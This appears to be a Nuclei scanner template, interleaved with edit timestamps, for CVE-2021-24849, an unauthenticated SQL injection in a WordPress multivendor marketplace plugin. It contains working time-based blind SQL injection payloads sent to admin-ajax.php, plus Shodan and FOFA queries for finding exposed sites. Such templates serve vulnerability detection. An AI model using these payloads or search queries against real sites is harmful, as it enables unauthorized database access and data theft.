2024-02-13 04:02:40 +00:00
id : CVE-2021-24849
info :
name : WCFM WooCommerce Multivendor Marketplace < 3.4.12 - SQL Injection
author : ritikchaddha
severity : critical
description : |
The wcfm_ajax_controller AJAX action of the WCFM Marketplace WordPress plugin before 3.4.12, available to unauthenticated and authenticated user, does not properly sanitise multiple parameters before using them in SQL statements, leading to SQL injections.
2024-03-23 09:28:19 +00:00
remediation : Fixed in 3.4.12
2024-02-13 04:02:40 +00:00
reference :
- https://wpscan.com/vulnerability/763c08a0-4b2b-4487-b91c-be6cc2b9322e/
- https://nvd.nist.gov/vuln/detail/CVE-2021-24849
2024-02-13 05:14:17 +00:00
- https://wordpress.org/plugins/wc-multivendor-marketplace/
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score : 9.8
cve-id : CVE-2021-24849
cwe-id : CWE-89
2024-03-23 09:28:19 +00:00
epss-score : 0.02367
2024-05-31 19:23:20 +00:00
epss-percentile : 0.89814
2024-03-04 08:20:22 +00:00
cpe : cpe:2.3:a:wclovers:frontend_manager_for_woocommerce_along_with_bookings_subscription_listings_compatible:*:*:*:*:*:wordpress:*:*
2024-02-13 04:02:40 +00:00
metadata :
2024-03-04 08:20:22 +00:00
verified : true
max-request : 3
vendor : wclovers
2024-05-23 21:45:20 +00:00
product : frontend_manager_for_woocommerce_along_with_bookings_subscription_listings_compatible
2024-03-23 09:28:19 +00:00
framework : wordpress
publicwww-query : "/wp-content/plugins/wc-multivendor-marketplace"
2024-05-31 19:23:20 +00:00
shodan-query : http.html:/wp-content/plugins/wc-multivendor-marketplace
fofa-query : body=/wp-content/plugins/wc-multivendor-marketplace
2024-04-08 11:34:33 +00:00
tags : wpscan,cve,cve2021,wp,wp-plugin,wordpress,wc-multivendor-marketplace,sqli
2024-02-13 05:14:17 +00:00
flow : http(1) && http(2)
2024-02-13 04:02:40 +00:00
http :
- raw :
- |
GET /wp-content/plugins/wc-multivendor-marketplace/readme.txt HTTP/1.1
Host : {{Hostname}}
2024-02-13 05:14:17 +00:00
matchers :
- type : dsl
dsl :
- status_code == 200
- contains(body, "WCFM Marketplace - Best Multivendor Marketplace for WooCommerce")
condition : and
internal : true
- raw :
2024-02-13 04:02:40 +00:00
- |
@timeout : 20s
POST /wp-admin/admin-ajax.php HTTP/1.1
Host : {{Hostname}}
Content-Type : application/x-www-form-urlencoded
{{post_data}}
payloads :
post_data :
- "action=wcfm_ajax_controller&controller=wcfm-refund-requests&transaction_id=1+union+select+1+and+sleep(5)--"
- "action=wcfm_ajax_controller&controller=wcfm-refund-requests&transaction_id=1&orderby=ID`%20AND%20(SELECT%2042%20FROM%20(SELECT(SLEEP(5)))b)--%20`"
stop-at-first-match : true
matchers :
- type : dsl
dsl :
2024-02-13 05:14:17 +00:00
- 'duration>=5'
2024-02-13 04:02:40 +00:00
- 'status_code == 200'
2024-02-13 05:14:17 +00:00
- 'contains(header, "application/json")'
- 'contains(body, "success")'
2024-02-13 04:02:40 +00:00
condition : and
2024-06-01 06:53:00 +00:00
# digest: 4b0a00483046022100adaf3f6dbade14a8363e77bf12c0cea329147bc2403931be1388051547c74e0f022100a0df347fa16ec48be9b13ad6a97de3bfb8d0d15be7b11f4797ef9cd4278c394a:922c64590222798bb761d5b6d8e72950